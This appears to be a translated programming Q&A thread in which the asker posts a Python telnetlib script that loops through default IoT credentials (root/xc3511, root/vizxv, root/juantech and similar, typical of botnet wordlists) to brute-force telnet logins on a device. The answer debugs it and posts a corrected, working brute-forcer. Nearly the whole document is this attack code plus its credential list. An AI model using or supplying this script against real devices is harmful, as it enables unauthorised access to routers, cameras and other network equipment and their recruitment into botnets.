通过遍历元组读取用户名和密码

Question

我正在尝试使用 python3 telnetlib 库连接到设备，但不是指定单个用户名/密码（如下所示），我想从元组中读取凭据，并遍历它们直到它找到匹配项。

下面是使用单个用户名的 telnetlib 示例。

import telnetlib
import sys
import getpass

bot = telnetlib.Telnet("192.168.1.128")
bot.read_until(b"login: ")
bot.write(("pi\n").encode('ascii'))
bot.read_until(b"Password: ")
bot.write(("pass12345\n").encode('ascii'))

我已经尝试了以下，但是脚本确实连接但只尝试第一个用户名和密码，然后挂起而不尝试任何其他凭据。

非常感谢任何帮助。

 passwords = [('root', 'xc3511'), ('pi', 'raspberry'), ('pi', 'raspberry'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]


def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.131', timeout=10)
    ip = '192.168.0.131'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect([b"Password: ", b"password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")
            tn.read_all().decode('ascii')

            (i, obj, res) = tn.expect([b"Login Incorrect", b"Login incorrect"], 5)

            if i != -1:
                print("Exploit failed")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b"~$", b" "])):
                    print("Login successful:",tuples[0], tuples[1])
                    break
                else:
                    print("Exploit failed")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()

Answer 1

您的代码抛出异常并通过中断 for 循环在 except 块中处理并静默结束，这就是您的程序仅尝试第一个用户名和密码的原因。 所以作为了解发生了什么的第一步你应该用 print(e) 替换 break 语句

except Exception as e:
    print(e)

我没有尝试您的代码，但看起来此行中未定义名称“密码”：

        if password:

---

更新答案：

passwords = [('root', 'xc3511'), ('root', 'vizxv'), ('root', 'admin'),('admin', 'admin'), ('root', '888888'), ('root', 'xmhdipc'), ('root', 'default'), ('root', 'juantech'), ('root', '123456'), ('root', '54321'), ('support', 'support')]

def telnet_brute():

    print("Trying to authenticate to the telnet server")
    tn = telnetlib.Telnet('192.168.0.130', timeout=10)
    ip = '192.168.0.130'
    passwordAttempts = 0
    for tuples in passwords:

        passwordAttempts = passwordAttempts + 1
        print('[*] Password attempt ' + str(passwordAttempts) + ' on device ' + str(ip))
        try:
            tn.expect([b"Login: ", b"login: "], 5)
            tn.write(tuples[0].encode('ascii') + b"\r\n")
            tn.expect(["Password: ", "password"], 5)
            tn.write(tuples[1].encode('ascii') + b"\r\n")

            (i, obj, res) = tn.expect(["Incorrect", "incorrect"], 5)

            if i != -1:
                print("Incorrect password or username")
            else:
                if any(map(lambda x: x in res, [b"#", b"$", b">"])) or len(res) > 500:
                    print(f"Login successful: {tuples[0]}, {tuples[1]}")
                    tn.write(b"exit\n")
                    print(tn.read_all()) 
                    break
                else:
                    print(f"got this res after login:\n{res}")

            tn.close()


        except Exception as e:
            print(f"Connection error: {e}")

if __name__ == '__main__':
    telnet_brute()